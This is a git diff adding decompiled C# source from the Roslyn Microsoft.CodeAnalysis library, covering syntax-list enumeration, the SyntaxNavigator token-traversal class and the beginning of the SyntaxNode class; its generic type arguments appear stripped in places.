+ } + + internal bool All(Func predicate) + { + Enumerator enumerator = GetEnumerator(); + while (enumerator.MoveNext()) + { + TNode current = enumerator.Current; + if (!predicate(current)) + { + return false; + } + } + return true; + } + + public Enumerator GetEnumerator() + { + return new Enumerator(this); + } + + IEnumerator IEnumerable.GetEnumerator() + { + if (Any()) + { + return new EnumeratorImpl(this); + } + return SpecializedCollections.EmptyEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + if (Any()) + { + return new EnumeratorImpl(this); + } + return SpecializedCollections.EmptyEnumerator(); + } + + public static bool operator ==(SyntaxList left, SyntaxList right) + { + return left._node == right._node; + } + + public static bool operator !=(SyntaxList left, SyntaxList right) + { + return left._node != right._node; + } + + public bool Equals(SyntaxList other) + { + return _node == other._node; + } + + public override bool Equals(object? obj) + { + if (obj is SyntaxList) + { + return Equals((SyntaxList)obj); + } + return false; + } + + public override int GetHashCode() + { + return _node?.GetHashCode() ?? 0; + } + + [Obsolete("This method is preserved for binary compatibility only. Use explicit cast instead.", true)] + [EditorBrowsable(EditorBrowsableState.Never)] + public static SyntaxList op_Implicit(SyntaxList nodes) + { + return new SyntaxList(nodes._node); + } + + public static implicit operator SyntaxList(SyntaxList nodes) + { + return new SyntaxList(nodes.Node); + } + + public static explicit operator SyntaxList(SyntaxList nodes) + { + return new SyntaxList(nodes._node); + } + + public int IndexOf(TNode node) + { + int num = 0; + Enumerator enumerator = GetEnumerator(); + while (enumerator.MoveNext()) + { + if (object.Equals(enumerator.Current, node)) + { + return num; + } + num++; + } + return -1; + } + + public int IndexOf(Func predicate) + { + int num = 0; + Enumerator enumerator = GetEnumerator(); + while (enumerator.MoveNext()) + { + TNode current = enumerator.Current; + if (predicate(current)) + { + return num; + } + num++; + } + return -1; + } + + internal int IndexOf(int rawKind) + { + int num = 0; + Enumerator enumerator = GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current.RawKind == rawKind) + { + return num; + } + num++; + } + return -1; + } + + public int LastIndexOf(TNode node) + { + for (int num = Count - 1; num >= 0; num--) + { + if (object.Equals(this[num], node)) + { + return num; + } + } + return -1; + } + + public int LastIndexOf(Func predicate) + { + for (int num = Count - 1; num >= 0; num--) + { + if (predicate(this[num])) + { + return num; + } + } + return -1; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxNavigator.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxNavigator.cs new file mode 100644 index 0000000..5c813f9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxNavigator.cs @@ -0,0 +1,524 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis; + +internal sealed class SyntaxNavigator +{ + [Flags] + private enum SyntaxKinds + { + DocComments = 1, + Directives = 2, + SkippedTokens = 4 + } + + private const int None = 0; + + public static readonly SyntaxNavigator Instance = new SyntaxNavigator(); + + private static readonly Func?[] s_stepIntoFunctions = new Func[8] + { + null, + (SyntaxTrivia t) => t.IsDocumentationCommentTrivia, + (SyntaxTrivia t) => t.IsDirective, + (SyntaxTrivia t) => t.IsDirective || t.IsDocumentationCommentTrivia, + (SyntaxTrivia t) => t.IsSkippedTokensTrivia, + (SyntaxTrivia t) => t.IsSkippedTokensTrivia || t.IsDocumentationCommentTrivia, + (SyntaxTrivia t) => t.IsSkippedTokensTrivia || t.IsDirective, + (SyntaxTrivia t) => t.IsSkippedTokensTrivia || t.IsDirective || t.IsDocumentationCommentTrivia + }; + + private static readonly ObjectPool> s_childEnumeratorStackPool = new ObjectPool>(() => new Stack(), 10); + + private static readonly ObjectPool> s_childReversedEnumeratorStackPool = new ObjectPool>(() => new Stack(), 10); + + private SyntaxNavigator() + { + } + + private static Func? GetStepIntoFunction(bool skipped, bool directives, bool docComments) + { + SyntaxKinds syntaxKinds = (SyntaxKinds)((skipped ? 4 : 0) | (directives ? 2 : 0) | (docComments ? 1 : 0)); + return s_stepIntoFunctions[(int)syntaxKinds]; + } + + private static Func GetPredicateFunction(bool includeZeroWidth) + { + if (!includeZeroWidth) + { + return SyntaxToken.NonZeroWidth; + } + return SyntaxToken.Any; + } + + private static bool Matches(Func? predicate, SyntaxToken token) + { + if (predicate != null && (object)predicate != SyntaxToken.Any) + { + return predicate(token); + } + return true; + } + + internal SyntaxToken GetFirstToken(in SyntaxNode current, bool includeZeroWidth, bool includeSkipped, bool includeDirectives, bool includeDocumentationComments) + { + return GetFirstToken(current, GetPredicateFunction(includeZeroWidth), GetStepIntoFunction(includeSkipped, includeDirectives, includeDocumentationComments)); + } + + internal SyntaxToken GetLastToken(in SyntaxNode current, bool includeZeroWidth, bool includeSkipped, bool includeDirectives, bool includeDocumentationComments) + { + return GetLastToken(current, GetPredicateFunction(includeZeroWidth), GetStepIntoFunction(includeSkipped, includeDirectives, includeDocumentationComments)); + } + + internal SyntaxToken GetPreviousToken(in SyntaxToken current, bool includeZeroWidth, bool includeSkipped, bool includeDirectives, bool includeDocumentationComments) + { + return GetPreviousToken(in current, GetPredicateFunction(includeZeroWidth), GetStepIntoFunction(includeSkipped, includeDirectives, includeDocumentationComments)); + } + + internal SyntaxToken GetNextToken(in SyntaxToken current, bool includeZeroWidth, bool includeSkipped, bool includeDirectives, bool includeDocumentationComments) + { + return GetNextToken(in current, GetPredicateFunction(includeZeroWidth), GetStepIntoFunction(includeSkipped, includeDirectives, includeDocumentationComments)); + } + + internal SyntaxToken GetPreviousToken(in SyntaxToken current, Func predicate, Func? stepInto) + { + return GetPreviousToken(in current, predicate, stepInto != null, stepInto); + } + + internal SyntaxToken GetNextToken(in SyntaxToken current, Func predicate, Func? stepInto) + { + return GetNextToken(in current, predicate, stepInto != null, stepInto); + } + + internal SyntaxToken GetFirstToken(SyntaxNode current, Func? predicate, Func? stepInto) + { + Stack stack = s_childEnumeratorStackPool.Allocate(); + try + { + stack.Push(current.ChildNodesAndTokens().GetEnumerator()); + while (stack.Count > 0) + { + ChildSyntaxList.Enumerator item = stack.Pop(); + if (!item.MoveNext()) + { + continue; + } + SyntaxNodeOrToken current2 = item.Current; + if (current2.IsToken) + { + SyntaxToken firstToken = GetFirstToken(current2.AsToken(), predicate, stepInto); + if (firstToken.RawKind != 0) + { + return firstToken; + } + } + stack.Push(item); + if (current2.IsNode) + { + stack.Push(current2.AsNode().ChildNodesAndTokens().GetEnumerator()); + } + } + return default(SyntaxToken); + } + finally + { + stack.Clear(); + s_childEnumeratorStackPool.Free(stack); + } + } + + internal SyntaxToken GetLastToken(SyntaxNode current, Func predicate, Func? stepInto) + { + Stack stack = s_childReversedEnumeratorStackPool.Allocate(); + try + { + stack.Push(current.ChildNodesAndTokens().Reverse().GetEnumerator()); + while (stack.Count > 0) + { + ChildSyntaxList.Reversed.Enumerator item = stack.Pop(); + if (!item.MoveNext()) + { + continue; + } + SyntaxNodeOrToken current2 = item.Current; + if (current2.IsToken) + { + SyntaxToken lastToken = GetLastToken(current2.AsToken(), predicate, stepInto); + if (lastToken.RawKind != 0) + { + return lastToken; + } + } + stack.Push(item); + if (current2.IsNode) + { + stack.Push(current2.AsNode().ChildNodesAndTokens().Reverse() + .GetEnumerator()); + } + } + return default(SyntaxToken); + } + finally + { + stack.Clear(); + s_childReversedEnumeratorStackPool.Free(stack); + } + } + + private SyntaxToken GetFirstToken(SyntaxTriviaList triviaList, Func? predicate, Func stepInto) + { + SyntaxTriviaList.Enumerator enumerator = triviaList.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxTrivia current = enumerator.Current; + if (current.TryGetStructure(out SyntaxNode structure) && stepInto(current)) + { + SyntaxToken firstToken = GetFirstToken(structure, predicate, stepInto); + if (firstToken.RawKind != 0) + { + return firstToken; + } + } + } + return default(SyntaxToken); + } + + private SyntaxToken GetLastToken(SyntaxTriviaList list, Func predicate, Func stepInto) + { + SyntaxTriviaList.Reversed.Enumerator enumerator = list.Reverse().GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxTrivia current = enumerator.Current; + if (TryGetLastTokenForStructuredTrivia(current, predicate, stepInto, out var token)) + { + return token; + } + } + return default(SyntaxToken); + } + + private bool TryGetLastTokenForStructuredTrivia(SyntaxTrivia trivia, Func predicate, Func? stepInto, out SyntaxToken token) + { + token = default(SyntaxToken); + if (!trivia.TryGetStructure(out SyntaxNode structure) || stepInto == null || !stepInto(trivia)) + { + return false; + } + token = GetLastToken(structure, predicate, stepInto); + return token.RawKind != 0; + } + + private SyntaxToken GetFirstToken(SyntaxToken token, Func? predicate, Func? stepInto) + { + if (stepInto != null) + { + SyntaxToken firstToken = GetFirstToken(token.LeadingTrivia, predicate, stepInto); + if (firstToken.RawKind != 0) + { + return firstToken; + } + } + if (Matches(predicate, token)) + { + return token; + } + if (stepInto != null) + { + SyntaxToken firstToken2 = GetFirstToken(token.TrailingTrivia, predicate, stepInto); + if (firstToken2.RawKind != 0) + { + return firstToken2; + } + } + return default(SyntaxToken); + } + + private SyntaxToken GetLastToken(SyntaxToken token, Func predicate, Func? stepInto) + { + if (stepInto != null) + { + SyntaxToken lastToken = GetLastToken(token.TrailingTrivia, predicate, stepInto); + if (lastToken.RawKind != 0) + { + return lastToken; + } + } + if (Matches(predicate, token)) + { + return token; + } + if (stepInto != null) + { + SyntaxToken lastToken2 = GetLastToken(token.LeadingTrivia, predicate, stepInto); + if (lastToken2.RawKind != 0) + { + return lastToken2; + } + } + return default(SyntaxToken); + } + + internal SyntaxToken GetNextToken(SyntaxTrivia current, Func? predicate, Func? stepInto) + { + bool returnNext = false; + SyntaxToken nextToken = GetNextToken(current, current.Token.LeadingTrivia, predicate, stepInto, ref returnNext); + if (nextToken.RawKind != 0) + { + return nextToken; + } + if (returnNext && (predicate == null || (Delegate?)predicate == (Delegate?)SyntaxToken.Any || predicate(current.Token))) + { + return current.Token; + } + nextToken = GetNextToken(current, current.Token.TrailingTrivia, predicate, stepInto, ref returnNext); + if (nextToken.RawKind != 0) + { + return nextToken; + } + return GetNextToken(current.Token, predicate, searchInsideCurrentTokenTrailingTrivia: false, stepInto); + } + + internal SyntaxToken GetPreviousToken(SyntaxTrivia current, Func predicate, Func? stepInto) + { + bool returnPrevious = false; + SyntaxToken previousToken = GetPreviousToken(current, current.Token.TrailingTrivia, predicate, stepInto, ref returnPrevious); + if (previousToken.RawKind != 0) + { + return previousToken; + } + if (returnPrevious && Matches(predicate, current.Token)) + { + return current.Token; + } + previousToken = GetPreviousToken(current, current.Token.LeadingTrivia, predicate, stepInto, ref returnPrevious); + if (previousToken.RawKind != 0) + { + return previousToken; + } + return GetPreviousToken(current.Token, predicate, searchInsideCurrentTokenLeadingTrivia: false, stepInto); + } + + private SyntaxToken GetNextToken(SyntaxTrivia current, SyntaxTriviaList list, Func? predicate, Func? stepInto, ref bool returnNext) + { + SyntaxTriviaList.Enumerator enumerator = list.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxTrivia current2 = enumerator.Current; + if (returnNext) + { + if (current2.TryGetStructure(out SyntaxNode structure) && stepInto != null && stepInto(current2)) + { + SyntaxToken firstToken = GetFirstToken(structure, predicate, stepInto); + if (firstToken.RawKind != 0) + { + return firstToken; + } + } + } + else if (current2 == current) + { + returnNext = true; + } + } + return default(SyntaxToken); + } + + private SyntaxToken GetPreviousToken(SyntaxTrivia current, SyntaxTriviaList list, Func predicate, Func? stepInto, ref bool returnPrevious) + { + SyntaxTriviaList.Reversed.Enumerator enumerator = list.Reverse().GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxTrivia current2 = enumerator.Current; + if (returnPrevious) + { + if (TryGetLastTokenForStructuredTrivia(current2, predicate, stepInto, out var token)) + { + return token; + } + } + else if (current2 == current) + { + returnPrevious = true; + } + } + return default(SyntaxToken); + } + + internal SyntaxToken GetNextToken(SyntaxNode node, Func? predicate, Func? stepInto) + { + while (node.Parent != null) + { + bool flag = false; + ChildSyntaxList.Enumerator enumerator = node.Parent.ChildNodesAndTokens().GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxNodeOrToken current = enumerator.Current; + if (flag) + { + if (current.IsToken) + { + SyntaxToken firstToken = GetFirstToken(current.AsToken(), predicate, stepInto); + if (firstToken.RawKind != 0) + { + return firstToken; + } + } + else + { + SyntaxToken firstToken2 = GetFirstToken(current.AsNode(), predicate, stepInto); + if (firstToken2.RawKind != 0) + { + return firstToken2; + } + } + } + else if (current.IsNode && current.AsNode() == node) + { + flag = true; + } + } + node = node.Parent; + } + if (node.IsStructuredTrivia) + { + return GetNextToken(((IStructuredTriviaSyntax)node).ParentTrivia, predicate, stepInto); + } + return default(SyntaxToken); + } + + internal SyntaxToken GetPreviousToken(SyntaxNode node, Func predicate, Func? stepInto) + { + while (node.Parent != null) + { + bool flag = false; + ChildSyntaxList.Reversed.Enumerator enumerator = node.Parent.ChildNodesAndTokens().Reverse().GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxNodeOrToken current = enumerator.Current; + if (flag) + { + if (current.IsToken) + { + SyntaxToken lastToken = GetLastToken(current.AsToken(), predicate, stepInto); + if (lastToken.RawKind != 0) + { + return lastToken; + } + } + else + { + SyntaxToken lastToken2 = GetLastToken(current.AsNode(), predicate, stepInto); + if (lastToken2.RawKind != 0) + { + return lastToken2; + } + } + } + else if (current.IsNode && current.AsNode() == node) + { + flag = true; + } + } + node = node.Parent; + } + if (node.IsStructuredTrivia) + { + return GetPreviousToken(((IStructuredTriviaSyntax)node).ParentTrivia, predicate, stepInto); + } + return default(SyntaxToken); + } + + internal SyntaxToken GetNextToken(in SyntaxToken current, Func? predicate, bool searchInsideCurrentTokenTrailingTrivia, Func? stepInto) + { + if (current.Parent != null) + { + if (searchInsideCurrentTokenTrailingTrivia) + { + SyntaxToken firstToken = GetFirstToken(current.TrailingTrivia, predicate, stepInto); + if (firstToken.RawKind != 0) + { + return firstToken; + } + } + bool flag = false; + ChildSyntaxList.Enumerator enumerator = current.Parent.ChildNodesAndTokens().GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxNodeOrToken current2 = enumerator.Current; + if (flag) + { + if (current2.IsToken) + { + SyntaxToken firstToken2 = GetFirstToken(current2.AsToken(), predicate, stepInto); + if (firstToken2.RawKind != 0) + { + return firstToken2; + } + } + else + { + SyntaxToken firstToken3 = GetFirstToken(current2.AsNode(), predicate, stepInto); + if (firstToken3.RawKind != 0) + { + return firstToken3; + } + } + } + else if (current2.IsToken && current2.AsToken() == current) + { + flag = true; + } + } + return GetNextToken(current.Parent, predicate, stepInto); + } + return default(SyntaxToken); + } + + internal SyntaxToken GetPreviousToken(in SyntaxToken current, Func predicate, bool searchInsideCurrentTokenLeadingTrivia, Func? stepInto) + { + if (current.Parent != null) + { + if (searchInsideCurrentTokenLeadingTrivia) + { + SyntaxToken lastToken = GetLastToken(current.LeadingTrivia, predicate, stepInto); + if (lastToken.RawKind != 0) + { + return lastToken; + } + } + bool flag = false; + ChildSyntaxList.Reversed.Enumerator enumerator = current.Parent.ChildNodesAndTokens().Reverse().GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxNodeOrToken current2 = enumerator.Current; + if (flag) + { + if (current2.IsToken) + { + SyntaxToken lastToken2 = GetLastToken(current2.AsToken(), predicate, stepInto); + if (lastToken2.RawKind != 0) + { + return lastToken2; + } + } + else + { + SyntaxToken lastToken3 = GetLastToken(current2.AsNode(), predicate, stepInto); + if (lastToken3.RawKind != 0) + { + return lastToken3; + } + } + } + else if (current2.IsToken && current2.AsToken() == current) + { + flag = true; + } + } + return GetPreviousToken(current.Parent, predicate, stepInto); + } + return default(SyntaxToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxNode.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxNode.cs new file mode 100644 index 0000000..f836bf6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxNode.cs @@ -0,0 +1,1652 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading; +using Microsoft.CodeAnalysis.ErrorReporting; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +[DebuggerDisplay("{GetDebuggerDisplay(), nq}")] +public abstract class SyntaxNode +{ + private protected sealed class SerializationDeprecationException : Exception + { + public const string Text = "Syntax serialization support is deprecated and will be removed in a future version of this API"; + + public SerializationDeprecationException() + : base("Syntax serialization support is deprecated and will be removed in a future version of this API") + { + } + } + + private struct ChildSyntaxListEnumeratorStack : IDisposable + { + private static readonly ObjectPool s_stackPool = new ObjectPool(() => new ChildSyntaxList.Enumerator[16]); + + private ChildSyntaxList.Enumerator[]? _stack; + + private int _stackPtr; + + public bool IsNotEmpty => _stackPtr >= 0; + + public ChildSyntaxListEnumeratorStack(SyntaxNode startingNode, Func? descendIntoChildren) + { + if (descendIntoChildren == null || descendIntoChildren(startingNode)) + { + _stack = s_stackPool.Allocate(); + _stackPtr = 0; + _stack[0].InitializeFrom(startingNode); + } + else + { + _stack = null; + _stackPtr = -1; + } + } + + public bool TryGetNextInSpan(in TextSpan span, out SyntaxNodeOrToken value) + { + while (_stack[_stackPtr].TryMoveNextAndGetCurrent(out value)) + { + if (IsInSpan(in span, value.FullSpan)) + { + return true; + } + } + _stackPtr--; + return false; + } + + public SyntaxNode? TryGetNextAsNodeInSpan(in TextSpan span) + { + SyntaxNode syntaxNode; + while ((syntaxNode = _stack[_stackPtr].TryMoveNextAndGetCurrentAsNode()) != null) + { + if (IsInSpan(in span, syntaxNode.FullSpan)) + { + return syntaxNode; + } + } + _stackPtr--; + return null; + } + + public void PushChildren(SyntaxNode node) + { + if (++_stackPtr >= _stack.Length) + { + Array.Resize(ref _stack, checked(_stackPtr * 2)); + } + _stack[_stackPtr].InitializeFrom(node); + } + + public void PushChildren(SyntaxNode node, Func? descendIntoChildren) + { + if (descendIntoChildren == null || descendIntoChildren(node)) + { + PushChildren(node); + } + } + + public void Dispose() + { + ChildSyntaxList.Enumerator[]? stack = _stack; + if (stack != null && stack.Length < 256) + { + Array.Clear(_stack, 0, _stack.Length); + s_stackPool.Free(_stack); + } + } + } + + private struct TriviaListEnumeratorStack : IDisposable + { + private static readonly ObjectPool s_stackPool = new ObjectPool(() => new SyntaxTriviaList.Enumerator[16]); + + private SyntaxTriviaList.Enumerator[] _stack; + + private int _stackPtr; + + public bool TryGetNext(out SyntaxTrivia value) + { + if (_stack[_stackPtr].TryMoveNextAndGetCurrent(out value)) + { + return true; + } + _stackPtr--; + return false; + } + + public void PushLeadingTrivia(in SyntaxToken token) + { + Grow(); + _stack[_stackPtr].InitializeFromLeadingTrivia(in token); + } + + public void PushTrailingTrivia(in SyntaxToken token) + { + Grow(); + _stack[_stackPtr].InitializeFromTrailingTrivia(in token); + } + + private void Grow() + { + if (_stack == null) + { + _stack = s_stackPool.Allocate(); + _stackPtr = -1; + } + if (++_stackPtr >= _stack.Length) + { + Array.Resize(ref _stack, checked(_stackPtr * 2)); + } + } + + public void Dispose() + { + SyntaxTriviaList.Enumerator[] stack = _stack; + if (stack != null && stack.Length < 256) + { + Array.Clear(_stack, 0, _stack.Length); + s_stackPool.Free(_stack); + } + } + } + + private struct TwoEnumeratorListStack : IDisposable + { + public enum Which : byte + { + Node, + Trivia + } + + private ChildSyntaxListEnumeratorStack _nodeStack; + + private TriviaListEnumeratorStack _triviaStack; + + private readonly ArrayBuilder? _discriminatorStack; + + public bool IsNotEmpty + { + get + { + ArrayBuilder? discriminatorStack = _discriminatorStack; + if (discriminatorStack == null) + { + return false; + } + return discriminatorStack.Count > 0; + } + } + + public TwoEnumeratorListStack(SyntaxNode startingNode, Func? descendIntoChildren) + { + _nodeStack = new ChildSyntaxListEnumeratorStack(startingNode, descendIntoChildren); + _triviaStack = default(TriviaListEnumeratorStack); + if (_nodeStack.IsNotEmpty) + { + _discriminatorStack = ArrayBuilder.GetInstance(); + _discriminatorStack.Push(Which.Node); + } + else + { + _discriminatorStack = null; + } + } + + public Which PeekNext() + { + return _discriminatorStack.Peek(); + } + + public bool TryGetNextInSpan(in TextSpan span, out SyntaxNodeOrToken value) + { + if (_nodeStack.TryGetNextInSpan(in span, out value)) + { + return true; + } + _discriminatorStack.Pop(); + return false; + } + + public bool TryGetNext(out SyntaxTrivia value) + { + if (_triviaStack.TryGetNext(out value)) + { + return true; + } + _discriminatorStack.Pop(); + return false; + } + + public void PushChildren(SyntaxNode node, Func? descendIntoChildren) + { + if (descendIntoChildren == null || descendIntoChildren(node)) + { + _nodeStack.PushChildren(node); + _discriminatorStack.Push(Which.Node); + } + } + + public void PushLeadingTrivia(in SyntaxToken token) + { + _triviaStack.PushLeadingTrivia(in token); + _discriminatorStack.Push(Which.Trivia); + } + + public void PushTrailingTrivia(in SyntaxToken token) + { + _triviaStack.PushTrailingTrivia(in token); + _discriminatorStack.Push(Which.Trivia); + } + + public void Dispose() + { + _nodeStack.Dispose(); + _triviaStack.Dispose(); + _discriminatorStack?.Free(); + } + } + + private struct ThreeEnumeratorListStack : IDisposable + { + public enum Which : byte + { + Node, + Trivia, + Token + } + + private ChildSyntaxListEnumeratorStack _nodeStack; + + private TriviaListEnumeratorStack _triviaStack; + + private readonly ArrayBuilder? _tokenStack; + + private readonly ArrayBuilder? _discriminatorStack; + + public bool IsNotEmpty + { + get + { + ArrayBuilder? discriminatorStack = _discriminatorStack; + if (discriminatorStack == null) + { + return false; + } + return discriminatorStack.Count > 0; + } + } + + public ThreeEnumeratorListStack(SyntaxNode startingNode, Func? descendIntoChildren) + { + _nodeStack = new ChildSyntaxListEnumeratorStack(startingNode, descendIntoChildren); + _triviaStack = default(TriviaListEnumeratorStack); + if (_nodeStack.IsNotEmpty) + { + _tokenStack = ArrayBuilder.GetInstance(); + _discriminatorStack = ArrayBuilder.GetInstance(); + _discriminatorStack.Push(Which.Node); + } + else + { + _tokenStack = null; + _discriminatorStack = null; + } + } + + public Which PeekNext() + { + return _discriminatorStack.Peek(); + } + + public bool TryGetNextInSpan(in TextSpan span, out SyntaxNodeOrToken value) + { + if (_nodeStack.TryGetNextInSpan(in span, out value)) + { + return true; + } + _discriminatorStack.Pop(); + return false; + } + + public bool TryGetNext(out SyntaxTrivia value) + { + if (_triviaStack.TryGetNext(out value)) + { + return true; + } + _discriminatorStack.Pop(); + return false; + } + + public SyntaxNodeOrToken PopToken() + { + _discriminatorStack.Pop(); + return _tokenStack.Pop(); + } + + public void PushChildren(SyntaxNode node, Func? descendIntoChildren) + { + if (descendIntoChildren == null || descendIntoChildren(node)) + { + _nodeStack.PushChildren(node); + _discriminatorStack.Push(Which.Node); + } + } + + public void PushLeadingTrivia(in SyntaxToken token) + { + _triviaStack.PushLeadingTrivia(in token); + _discriminatorStack.Push(Which.Trivia); + } + + public void PushTrailingTrivia(in SyntaxToken token) + { + _triviaStack.PushTrailingTrivia(in token); + _discriminatorStack.Push(Which.Trivia); + } + + public void PushToken(in SyntaxNodeOrToken value) + { + _tokenStack.Push(value); + _discriminatorStack.Push(Which.Token); + } + + public void Dispose() + { + _nodeStack.Dispose(); + _triviaStack.Dispose(); + _tokenStack?.Free(); + _discriminatorStack?.Free(); + } + } + + private readonly SyntaxNode? _parent; + + internal SyntaxTree? _syntaxTree; + + public int RawKind => Green.RawKind; + + protected string KindText => Green.KindText; + + public abstract string Language { get; } + + internal GreenNode Green { get; } + + internal int Position { get; } + + internal int EndPosition => Position + Green.FullWidth; + + public SyntaxTree SyntaxTree => SyntaxTreeCore; + + internal bool IsList => Green.IsList; + + public TextSpan FullSpan => new TextSpan(Position, Green.FullWidth); + + internal int SlotCount => Green.SlotCount; + + public TextSpan Span + { + get + { + int position = Position; + int fullWidth = Green.FullWidth; + int leadingTriviaWidth = Green.GetLeadingTriviaWidth(); + int start = position + leadingTriviaWidth; + fullWidth -= leadingTriviaWidth; + fullWidth -= Green.GetTrailingTriviaWidth(); + return new TextSpan(start, fullWidth); + } + } + + public int SpanStart => Position + Green.GetLeadingTriviaWidth(); + + internal int Width => Green.Width; + + internal int FullWidth => Green.FullWidth; + + public bool IsMissing => Green.IsMissing; + + public bool IsStructuredTrivia => Green.IsStructuredTrivia; + + public bool HasStructuredTrivia + { + get + { + if (Green.ContainsStructuredTrivia) + { + return !Green.IsStructuredTrivia; + } + return false; + } + } + + public bool ContainsSkippedText => Green.ContainsSkippedText; + + public bool ContainsDiagnostics => Green.ContainsDiagnostics; + + public bool ContainsDirectives => Green.ContainsDirectives; + + public bool HasLeadingTrivia => GetLeadingTrivia().Count > 0; + + public bool HasTrailingTrivia => GetTrailingTrivia().Count > 0; + + internal Location Location + { + get + { + if (SyntaxTree.SupportsLocations) + { + return new SourceLocation(this); + } + return NoLocation.Singleton; + } + } + + public SyntaxNode? Parent => _parent; + + public virtual SyntaxTrivia ParentTrivia => default(SyntaxTrivia); + + internal SyntaxNode? ParentOrStructuredTriviaParent => GetParent(this, ascendOutOfTrivia: true); + + public bool ContainsAnnotations => Green.ContainsAnnotations; + + protected abstract SyntaxTree SyntaxTreeCore { get; } + + internal bool HasErrors + { + get + { + if (!ContainsDiagnostics) + { + return false; + } + return HasErrorsSlow(); + } + } + + internal SyntaxNode(GreenNode green, SyntaxNode? parent, int position) + { + Position = position; + Green = green; + _parent = parent; + } + + internal SyntaxNode(GreenNode green, int position, SyntaxTree syntaxTree) + : this(green, null, position) + { + _syntaxTree = syntaxTree; + } + + private string GetDebuggerDisplay() + { + return GetType().Name + " " + KindText + " " + ToString(); + } + + internal SyntaxNode? GetRed(ref SyntaxNode? field, int slot) + { + SyntaxNode syntaxNode = field; + if (syntaxNode == null) + { + GreenNode slot2 = Green.GetSlot(slot); + if (slot2 != null) + { + Interlocked.CompareExchange(ref field, slot2.CreateRed(this, GetChildPosition(slot)), null); + syntaxNode = field; + } + } + return syntaxNode; + } + + internal SyntaxNode? GetRedAtZero(ref SyntaxNode? field) + { + SyntaxNode syntaxNode = field; + if (syntaxNode == null) + { + GreenNode slot = Green.GetSlot(0); + if (slot != null) + { + Interlocked.CompareExchange(ref field, slot.CreateRed(this, Position), null); + syntaxNode = field; + } + } + return syntaxNode; + } + + protected T? GetRed(ref T? field, int slot) where T : SyntaxNode + { + T val = field; + if (val == null) + { + GreenNode slot2 = Green.GetSlot(slot); + if (slot2 != null) + { + Interlocked.CompareExchange(ref field, (T)slot2.CreateRed(this, GetChildPosition(slot)), null); + val = field; + } + } + return val; + } + + protected T? GetRedAtZero(ref T? field) where T : SyntaxNode + { + T val = field; + if (val == null) + { + GreenNode slot = Green.GetSlot(0); + if (slot != null) + { + Interlocked.CompareExchange(ref field, (T)slot.CreateRed(this, Position), null); + val = field; + } + } + return val; + } + + internal SyntaxNode? GetRedElement(ref SyntaxNode? element, int slot) + { + SyntaxNode syntaxNode = element; + if (syntaxNode == null) + { + GreenNode requiredSlot = Green.GetRequiredSlot(slot); + Interlocked.CompareExchange(ref element, requiredSlot.CreateRed(Parent, GetChildPosition(slot)), null); + syntaxNode = element; + } + return syntaxNode; + } + + internal SyntaxNode? GetRedElementIfNotToken(ref SyntaxNode? element) + { + SyntaxNode syntaxNode = element; + if (syntaxNode == null) + { + GreenNode requiredSlot = Green.GetRequiredSlot(1); + if (!requiredSlot.IsToken) + { + Interlocked.CompareExchange(ref element, requiredSlot.CreateRed(Parent, GetChildPosition(1)), null); + syntaxNode = element; + } + } + return syntaxNode; + } + + internal SyntaxNode GetWeakRedElement(ref WeakReference? slot, int index) + { + SyntaxNode target = null; + WeakReference? obj = slot; + if (obj != null && obj.TryGetTarget(out target)) + { + return target; + } + return CreateWeakItem(ref slot, index); + } + + private SyntaxNode CreateWeakItem(ref WeakReference? slot, int index) + { + SyntaxNode syntaxNode = Green.GetRequiredSlot(index).CreateRed(Parent, GetChildPosition(index)); + WeakReference value = new WeakReference(syntaxNode); + WeakReference weakReference; + do + { + SyntaxNode target = null; + weakReference = slot; + if (weakReference != null && weakReference.TryGetTarget(out target)) + { + return target; + } + } + while (Interlocked.CompareExchange(ref slot, value, weakReference) != weakReference); + return syntaxNode; + } + + public override string ToString() + { + return Green.ToString(); + } + + public virtual string ToFullString() + { + return Green.ToFullString(); + } + + public virtual void WriteTo(TextWriter writer) + { + Green.WriteTo(writer, leading: true, trailing: true); + } + + public SourceText GetText(Encoding? encoding = null, SourceHashAlgorithm checksumAlgorithm = SourceHashAlgorithm.Sha1) + { + StringBuilder stringBuilder = new StringBuilder(); + WriteTo(new StringWriter(stringBuilder)); + return new StringBuilderText(stringBuilder, encoding, checksumAlgorithm); + } + + public bool IsEquivalentTo([NotNullWhen(true)] SyntaxNode? other) + { + if (this == other) + { + return true; + } + if (other == null) + { + return false; + } + return Green.IsEquivalentTo(other.Green); + } + + public bool IsIncrementallyIdenticalTo([NotNullWhen(true)] SyntaxNode? other) + { + if (Green != null) + { + return Green == other?.Green; + } + return false; + } + + public bool IsPartOfStructuredTrivia() + { + for (SyntaxNode syntaxNode = this; syntaxNode != null; syntaxNode = syntaxNode.Parent) + { + if (syntaxNode.IsStructuredTrivia) + { + return true; + } + } + return false; + } + + public bool ContainsDirective(int rawKind) + { + if (!ContainsDirectives) + { + return false; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + instance.Push(Green); + try + { + while (instance.Count > 0) + { + GreenNode greenNode = instance.Pop(); + if (greenNode == null || !greenNode.ContainsDirectives) + { + continue; + } + if 